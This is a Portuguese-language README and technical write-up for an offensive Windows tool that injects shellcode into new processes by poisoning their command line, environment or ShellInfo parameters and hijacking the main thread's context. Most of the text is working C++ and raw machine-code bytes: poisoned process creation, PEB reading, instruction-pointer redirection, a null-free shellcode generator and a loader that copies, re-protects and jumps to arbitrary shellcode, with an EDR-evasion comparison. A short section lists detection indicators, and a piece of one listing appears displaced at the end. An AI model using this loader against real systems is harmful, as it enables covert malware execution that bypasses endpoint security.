
P³-Shellcode Loader é um loader que implementa uma técnica de injeção de código que utiliza a estrutura Process Parameters como local de execução e preparação para injeção de shellcode em processos remotos, sem acionar mecanismos comuns de detecção.
Autores: Max Hirschberger & Ogulcan Ugur
O P³-Shellcode Loader é um carregador que implementa uma técnica de injeção de código que aproveita a estrutura Process Parameters (Process Parameter Poisoning) como local de execução e staging para injeção de shellcode em processos remotos, sem acionar mecanismos comuns de detecção.
Um conceito semelhante foi descrito pelo pesquisador de segurança modexp, que demonstrou que os argumentos passados à API CreateProcess podem ser aproveitados para esse fim [1].
Os invasores querem tornar suas atividades menos suspeitas. Com a injeção de processos, os invasores conseguem realizar suas atividades a partir de um processo diferente, que é mais confiável ou do qual se espera que execute a atividade específica, reduzindo assim a suspeita.
As etapas típicas a seguir são necessárias para injetar código em outro processo:
OpenProcess / NtOpenProcess ou CreateProcess / NtCreateProcess).VirtualAllocEx ou NtAllocateVirtualMemory).WriteProcessMemory / NtWriteVirtualMemory).VirtualProtectEx / NtProtectVirtualMemory).CreateRemoteThread ou NtCreateThreadEx).Técnicas adicionais de injeção incluem, mas não se limitam a:
NtSetContextThread)NtQueueApcThread)RtlCreateProcessReflection, que implementa o fork de processos.
Em nossos testes, observamos que a maioria dos EDRs se concentra em telemetria específica para detectar injeção de processos. Os EDRs monitoram principalmente o uso de WriteProcessMemory e VirtualAllocEx, bem como suas chamadas de sistema do kernel subjacentes NtWriteVirtualMemory, NtAllocateVirtualMemory e NtAllocateVirtualMemoryEx.O Windows fornece a função de API CreateProcessW para criar novos processos, mostrada na Listagem 1. Os três primeiros parâmetros dela — lpCommandLine, lpEnvironment e lpStartupInfo — são relevantes para a técnica de injeção descrita, pois são usados para transferir dados ao novo processo.```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*Listagem 1: Definição da função CreateProcessW da API do Windows*
O parâmetro `lpCommandLine` especifica a linha de comando para o novo processo. Ele é limitado a um máximo de 32.767 caracteres Unicode, incluindo o terminador nulo Unicode. Para a variante Unicode, é necessário fornecer uma string na qual a função possa gravar. Se uma string constante for fornecida, qualquer tentativa de gravação feita pela função da API resulta em uma violação de acesso à memória. Se o valor for `NULL`, a linha de comando do processo será obtida do parâmetro `lpApplicationName`. Se `lpApplicationName` for `NULL`, ele deverá ser fornecido no campo `lpCommandLine` e é limitado a `MAX_PATH` caracteres.
O parâmetro `lpEnvironment` fornece uma lista de variáveis de ambiente para o processo. Se o valor for `NULL`, o ambiente do processo criador será usado. A lista de variáveis de ambiente consiste em strings sucessivas terminadas em nulo, no formato `NAME=VALUE`, com outro terminador nulo no final.
O parâmetro `lpStartupInfo` é uma estrutura mostrada na Listagem 2, com campos como estação de janela, desktop, handles de entrada e saída padrão, bem como campos que configuram a janela principal do novo processo. De acordo com a documentação da Microsoft, o campo `lpReserved` é reservado para uso interno, sem documentação adicional. Por meio de análise com o depurador WinDbg, foi possível relacionar esse parâmetro à variável `ShellInfo` do tipo `UNICODE_STRING` no novo processo.```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
Listagem 2: Layout da estrutura de dados STARTUPINFOW
Na criação de um novo processo, todos os parâmetros de processo fornecidos são gravados no Bloco de Ambiente do Processo (PEB). O PEB é uma estrutura de dados presente em todos os processos e exclusiva de cada processo. Os parâmetros podem ser acessados no membro ProcessParameters do tipo RTL_USER_PROCESS_PARAMETERS. Além dos parâmetros de processo, essa estrutura também inclui outras informações de tempo de execução, como uma lista de módulos carregados. A estrutura do PEB e os parâmetros de processo relevantes no RTL_USER_PROCESS_PARAMETERS são mostrados na Listagem 3 e na Listagem 4.```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*Listagem 3: Layout da estrutura de dados do PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
Listagem 4: Layout da estrutura de dados RTL_USER_PROCESS_PARAMETERS
A Figura 1 mostra o parâmetro ShellInfo com o valor de envenenamento fornecido no campo lpReserved para a estrutura STARTUPINFOW. Além disso, a Figura 2 mostra a linha de comando controlada dentro da ferramenta System Informer.
Figura 1: Parâmetro ShellInfo Envenenado
Figura 2: Linha de Comando Envenenada
Como existem vários parâmetros que podem ser usados para copiar o código malicioso, a função wrapper na Listagem 5 cria um processo com o argumento de envenenamento fornecido ao parâmetro de processo escolhido. Ao executar o injetor implementado, essa escolha pode ser feita conforme mostrado na Figura 3. Além disso, qualquer valor pode ser fornecido para o aplicativo de destino que será usado em lpApplication, com o prompt do usuário mostrado na Figura 4.```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*Listagem 5: Implementação de CreateProcessWithPoison*
Esta função implementa três opções distintas de parâmetros:
1. **Injeção de ShellInfo:** Coloca o veneno no campo `lpReserved` do parâmetro `lpStartupInfo`, que será copiado para a variável `ShellInfo` no PEB
2. **Injeção de Ambiente:** Coloca o veneno no parâmetro `lpEnvironment` com a flag `CREATE_UNICODE_ENVIRONMENT`
3. **Injeção na Linha de Comando:** Coloca o veneno no parâmetro `lpCommandLine` de `CreateProcessW`
<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*Figura 3: Seleção do Parâmetro Poisonable*
<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
*Figura 4: Seleção do Executável de Aplicação Alvo*
### 4.2 Localizando os Dados Injetados no Novo Processo
Após a criação bem-sucedida do processo, os dados injetados podem ser encontrados por meio da estrutura PEB. As três etapas a seguir são necessárias para localizar o veneno no novo processo.
Primeiro, o endereço inicial da estrutura PEB é determinado chamando `NtQueryInformationProcess`. `NtQueryInformationProcess` recupera a estrutura de dados `PROCESS_BASIC_INFORMATION` quando chamado com a classe de informação `ProcessBasicInformation`. E `PROCESS_BASIC_INFORMATION` contém o endereço do PEB no campo `PebBaseAddress`. Esta etapa é mostrada na Listagem 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
Listing 6: Primeiro Passo para Localizar os Dados Injetados
Na segunda etapa, a estrutura PEB é lida chamando NtReadVirtualMemoryEx com o endereço inicial da estrutura que foi recuperada na primeira etapa. A implementação da segunda etapa é mostrada no Listing 7.```cpp
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
*Listagem 7: Segunda Etapa da Localização dos Dados Injetados*
Depois de ler o PEB, o campo `ProcessParameters` contém o endereço inicial da estrutura `RTL_USER_PROCESS_PARAMETERS` no novo processo. Na terceira etapa, essa estrutura também é lida do novo processo. Os ponteiros para os dados injetados estão dentro dessa estrutura. A terceira etapa é mostrada na Listagem 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
Listagem 8: Terceira Etapa da Localização dos Dados Injetados
Essa abordagem usa apenas APIs de leitura de memória e nenhuma API de escrita ou alocação na qual os EDRs se concentram. No entanto, há uma limitação imposta pelos parâmetros. Como esses parâmetros são strings terminadas em nulo, apenas shellcode sem terminador nulo pode ser totalmente transferido. Uma solução para superar essa limitação é fornecida na Seção 5.
Após transferir o código, a execução do processo ainda precisa ser direcionada para o código. Além disso, a proteção de memória dos dados injetados precisa ser ajustada, pois os parâmetros não são colocados em regiões marcadas como executáveis.
Para alterar a proteção, a API do Windows NtProtectVirtualMemory é usada para mudar a proteção de apenas leitura e gravação para apenas leitura e execução.
Para redirecionar a execução do código para o shellcode, existem os seguintes três métodos:
CreateRemoteThread / NtCreateThreadEx: Cria uma nova thread que começa no shellcodeQueueUserAPC / NtQueueApcThread: Enfileira uma APC em uma thread existente que acaba redirecionando-a para o shellcodeUma análise detalhada da implementação de RtlCreateProcessReflection revelou que ela faz chamadas a NtWriteVirtualMemory e NtCreateThreadEx. Essencialmente, ela cria uma thread em um processo alvo para executar uma função dentro de ntdll.dll. Essa função tanto cria o processo bifurcado ao chamar RtlCloneUserProcess quanto também realiza uma escrita de memória no processo bifurcado.
Como NtWriteVirtualMemory é um dos principais indicadores usados pelos EDRs, o método Dirty Vanity apenas aumenta a suspeita além do necessário.
Em vez disso, é usada a manipulação do contexto da thread principal, pois ela oferece as seguintes vantagens em relação ao Dirty Vanity:
CreateProcessW já fornece um handle válido para a thread principal dentro da estrutura PROCESS_INFORMATION. Um handle é um objeto de referência abstrato que o kernel fornece para interagir com recursos do sistema, como processos, threads e arquivos. Handles são essencialmente índices em tabelas de handles específicas do processo que mapeiam cada handle para um objeto no kernel com um nível associado de acesso ao objeto.NtWriteVirtualMemory, VirtualAllocEx e CreateRemoteThread nunca são usados; apenas NtSetContextThread é chamado.
O contexto de uma thread é o estado de todos os registradores do processador. Portanto, é possível redirecionar o fluxo de execução de uma thread manipulando seu contexto, ou seja, alterando o registrador de ponteiro de instrução. Normalmente, o contexto da thread é manipulado nas seguintes etapas:Suspensão da Thread: A thread alvo é colocada em estado suspenso, seja chamando SuspendThread ou criando-a em estado suspenso
Leitura do Contexto: O contexto atual é lido em uma estrutura de dados CONTEXT via GetThreadContext
Modificação do Contexto: As alterações desejadas são feitas no contexto, por exemplo, alterando o registrador de ponteiro de instrução RIP
Aplicação do Contexto: O contexto modificado é gravado na thread chamando SetThreadContext
Retomada da Thread: ResumeThread é chamado para retomar a execução da thread no novo valor de RIP
O contexto de uma thread pode ser alterado sem suspendê-la primeiro. Portanto, não é necessário chamar SuspendThread e ResumeThread, que podem ser monitoradas por EDRs para injeção de processos. Além disso, a chamada a GetThreadContext também pode ser dispensada, se a execução anterior não precisar ser restaurada em um momento posterior. A implementação resultante é mostrada na Listagem 9.```cpp
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
*Listagem 9: Manipulação do Contexto de Thread em ThreadSetExec*
### 4.4 Injeções de Payload Implementadas
Nossa implementação dessa técnica de injeção inclui as quatro opções de payload mostradas na Figura 5.
1. A primeira opção é uma demonstração simples que exibe uma janela popup e é mostrada na Figura 5. Essa opção não requer shellcode adicional ou arquivos executáveis que serão injetados.
2. A segunda opção recebe uma representação hexadecimal do shellcode e o injeta. Se o shellcode contiver bytes nulos, ele é injetado com o método descrito na Seção 5.
3. A terceira opção aceita um caminho para um arquivo DLL que é então fornecido a `LoadLibraryA` no alvo.
4. Por fim, a quarta opção carrega shellcode bruto de uma URL HTTP(S) e também lida com a limitação de bytes nulos.
<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
*Figura 5: Escolha do Shellcode Injetado*
<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
*Figura 6: Caixa de Mensagem Criada pelo Shellcode*
---
## 5. Passando Shellcode Arbitrário em uma String
Não é possível passar quaisquer dados arbitrários dentro dos parâmetros. Isso ocorre porque somente os dados até um terminador nulo serão copiados. Para superar essa limitação, construímos um gerador de shellcode que não emite terminadores nulos.
Esse gerador de shellcode pode criar shellcode para chamar `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` ou `NtSuspendThread` com parâmetros arbitrários. Além disso, ele pode gerar shellcode que decodifica um shellcode de segundo estágio arbitrário e salta para ele.
Ele é implementado na classe C++ `ShellCodeWriter` com métodos auxiliares privados e métodos públicos para a funcionalidade exposta. Os detalhes da implementação serão explicados a seguir.
### 5.1 Métodos Auxiliares de Baixo Nível Usados pelo Gerador de Shellcode
`Xor` é usado como a primitiva que permite ao shellcode gerar quaisquer dados, incluindo bytes nulos. Essa primitiva é implementada no método auxiliar `SetRAXXOR`, que recebe dois valores de 64 bits. Ele emite shellcode que realiza uma operação xor com os valores de 64 bits fornecidos e salva o resultado no registrador `RAX`.
O auxiliar adicional `SetRAX` cria esses dois valores de 64 bits que, quando submetidos a xor, resultam em um determinado valor. Ele também garante que esses dois valores de 64 bits não contenham bytes nulos. Em essência, `SetRAX` emite shellcode que definirá o registrador `RAX` para um valor arbitrário de 64 bits.
Tanto `SetRAXXOR` quanto `SetRAX` são mostrados na Listagem 10. Além disso, o código de máquina resultante de três chamadas de exemplo a `SetRAX` é mostrado na Listagem 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
Listagem 10: Implementação de SetRAXXOR e SetRAX```asm ; SetRAX(0) xor rax, rax
; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15
; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15
*Listagem 11: Exemplos de Código Emitido por `SetRAX`*
`SetRAX` é a base para os métodos auxiliares `PushValue`, `PushBuffer`, `SetArgRegister` e `SetArgRegisterStackRelative`. `PushValue` chama `SetRAX` e o segue com uma instrução `push RAX`, permitindo assim empurrar valores arbitrários para a pilha. `PushBuffer` usa `PushValue` para escrever um array arbitrário de bytes na pilha; para isso, divide os dados em valores de 64 bits e os empurra em ordem reversa. A ordem precisa ser invertida, pois o ponteiro da pilha é decrementado após cada `push`. O gerador de shellcode mantém o controle de quantos bytes foram empurrados com a variável `m_total_consumed_stack_bytes`. Essa variável é usada no método auxiliar `FreeStack` para limpar a pilha, revertendo o ponteiro da pilha ao seu valor inicial.
Na interface binária de aplicativos x86 de 64 bits do Windows, os registradores `RCX`, `RDX`, `R8` e `R9` são usados para os primeiros quatro argumentos ao chamar uma função. Argumentos adicionais são empurrados na pilha, após um espaço de sombra de 32 bytes. O espaço de sombra é reservado para a função chamada e é usado para salvar os quatro primeiros registradores de argumentos. `SetArgRegister` e `SetArgRegisterStackRelative` são usados para definir um desses quatro registradores de argumentos. `SetArgRegister` define um determinado registrador para um valor constante arbitrário. E o código gerado por `SetArgRegisterStackRelative` escreve o ponteiro da pilha mais um deslocamento constante no registrador de argumento correspondente. Quaisquer argumentos adicionais de função podem ser empurrados com o método auxiliar `PushValue`.
O auxiliar `Call` emite código que alinha o ponteiro da pilha em 16 bytes, então executa uma chamada para o endereço fornecido e, por fim, reverte qualquer alteração de alinhamento feita inicialmente. Um ponteiro de pilha alinhado em 16 bytes é necessário para evitar travamentos em funções que utilizam operações de ponto flutuante com registradores XMM. Ao chamar funções com argumentos passados na pilha, o alinhamento precisa estar correto antes de chamar este auxiliar. Caso contrário, os argumentos terminam no deslocamento errado da pilha.
### 5.2 Implementação de Operações de Nível Superior
A operação mais simples é chamar `NtTerminateProcess` ou `NtSuspendThread`. Devido à sua semelhança, apenas `NtTerminateProcess` será abordada, que é mostrada na Listagem 12. `NtTerminateProcess` recebe dois parâmetros e segue a convenção de chamada x64. Primeiro, o auxiliar `SetArgRegister` é chamado para ambos os parâmetros, para inicializá-los com os valores fornecidos. Então, a função da API é chamada.
Como o shellcode é gerado na mesma máquina, o endereço da função é resolvido no momento da geração e não dentro do shellcode. A resolução das funções da API é tratada pela classe `WinApiResolver`. Finalmente, o método auxiliar `Call` gera a instrução de chamada e o código de alinhamento da pilha.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
Listagem 12: Implementação de ShellCodeWriter::CallTerminateProcess
Funções que recebem valores de ponteiro, como LoadLibraryA e MessageBoxA, não podem ser usadas da mesma forma. Isso ocorre porque é necessário um endereço de memória válido, que não é conhecido no momento da geração do shellcode. Portanto, a função auxiliar SetArgRegisterStackRelative é usada para definir o argumento como um endereço na pilha. Na Listagem 13, a string do parâmetro do módulo é escrita na pilha e o primeiro registrador de argumento é definido para apontar para o início da string do módulo na pilha. Além disso, a função move o ponteiro da pilha em 32 bytes para considerar o shadow space. Sem isso, a função chamada sobrescreveria a string do módulo.```cpp
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
*Listagem 13: Implementação de ShellCodeWriter::CallLoadLibraryA*
Finalmente, `LoadAndCallShellCode` aceita um shellcode arbitrário que pode incluir bytes nulos e o executa. Sua implementação é mostrada nas Listagens 14 e 15 e é dividida nas cinco operações a seguir:
1. O shellcode arbitrário é gravado na pilha via `PushBuffer`. Depois, o espaço de sombra é alocado para proteger o shellcode de ser sobrescrito.
2. Em seguida, é feita uma simples chamada a `VirtualAlloc` que usa parâmetros já conhecidos no momento da geração. Essa chamada de API aloca memória protegida para leitura/gravação e que pode comportar o shellcode.
3. Depois, o endereço de memória retornado por `VirtualAlloc` é salvo nos dois registradores `R12` e `R10`. Então `R11` é inicializado com o tamanho do shellcode e `RCX` é definido para apontar para o início do shellcode. Com os registradores `R10`, `R11` e `RCX` definidos, seis instruções se seguem que realizam uma cópia de memória, copiando o shellcode para a região de memória recém-alocada.
4. O salto para o shellcode ainda não é possível, pois a região de memória está protegida para leitura/gravação. É possível alocar uma região de leitura/gravação e executável, mas isso provavelmente seria considerado mais suspeito. Portanto, é feita uma chamada a `VirtualProtect` para alterar a proteção para legível e executável, mas não gravável.
5. E por fim, é feito um salto para o shellcode, após garantir que a pilha esteja devidamente alinhada.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
Listagem 14: Implementação de ShellCodeWriter::LoadAndCallShellCode (Etapas 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
*Listagem 15: Implementação de ShellCodeWriter::LoadAndCallShellCode (Etapas 4–5)*
---
## 6. Vantagens da Evasão de Detecção por esta Técnica
Uma grande vantagem desta técnica é que nenhum processo é criado em estado suspenso e nenhuma thread ou processo é suspenso durante sua execução. Criar processos suspensos ou chamadas repetidas a `SuspendThread` são indicadores conhecidos usados por EDRs para process hollowing, injeção de processo e ataques semelhantes.
Além disso, ao criar o processo alvo, um handle para a thread principal já está disponível e possui o acesso necessário para alterar seu contexto.
| Aspecto | Injeção Clássica | Envenenamento de Parâmetros de Processo |
|---|---|---|
| Alocação de Memória | `VirtualAllocEx` necessário | Sem alocação explícita |
| Escrita de Memória | `WriteProcessMemory` necessário | Indireta via `CreateProcessW` |
| Redirecionamento de Execução | `CreateRemoteThread` ou APC | `SetThreadContext` |
| Chance de Detecção | Alta (muitas APIs suspeitas) | Reduzida (criação benigna de processo) |
| Telemetria do EDR | Monitorada de perto | Observabilidade reduzida |
No geral, esta técnica gera muito menos suspeita, pois deixa uma pegada (fingerprint) menor ao usar APIs legítimas de criação de processo e gerenciamento de threads.
---
## 7. Abordagem de Detecção
Existem vários indicadores suspeitos gerados por esta técnica, que podem ser usados para detectá-la.
- `VirtualProtectEx` que torna uma região de memória executável seguido de `SetThreadContext` com pelo menos `CONTEXT_CONTROL`. Vale notar que o ponteiro de instrução não precisa apontar para essa região executável, pois pode apontar para um gadget que então o redireciona. No entanto, é muito provável que um ponteiro para a região de memória seja escrito em um dos registradores da CPU.
- `VirtualProtectEx` que torna páginas dos parâmetros do processo executáveis, tanto no próprio processo quanto em processos externos.
- Criação de um processo em que um dos três parâmetros abusados gere suspeita. Por exemplo, se a entropia da linha de comando estiver próxima da entropia do shellcode ou distante da entropia de um valor normal de linha de comando. Além disso, o comprimento do parâmetro fornecido é excessivo ou muitos caracteres incomuns estarão presentes nele. No entanto, confiar somente nisso provavelmente estará sujeito a falsos positivos.
- Leitura da estrutura de parâmetros de processo de um processo remoto para a qual o PEB possui um ponteiro.
---
## 8. Conclusão
Em resumo, atacantes podem contornar soluções de segurança modernas por meio de novas ideias e pequenas modificações, seja desenvolvendo novas técnicas ou reaplicando técnicas antigas de maneiras inovadoras.
Portanto, é importante desenvolver continuamente novas regras de detecção e não confiar apenas em uma solução existente.
---
## 9. Referências
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }
return 0; }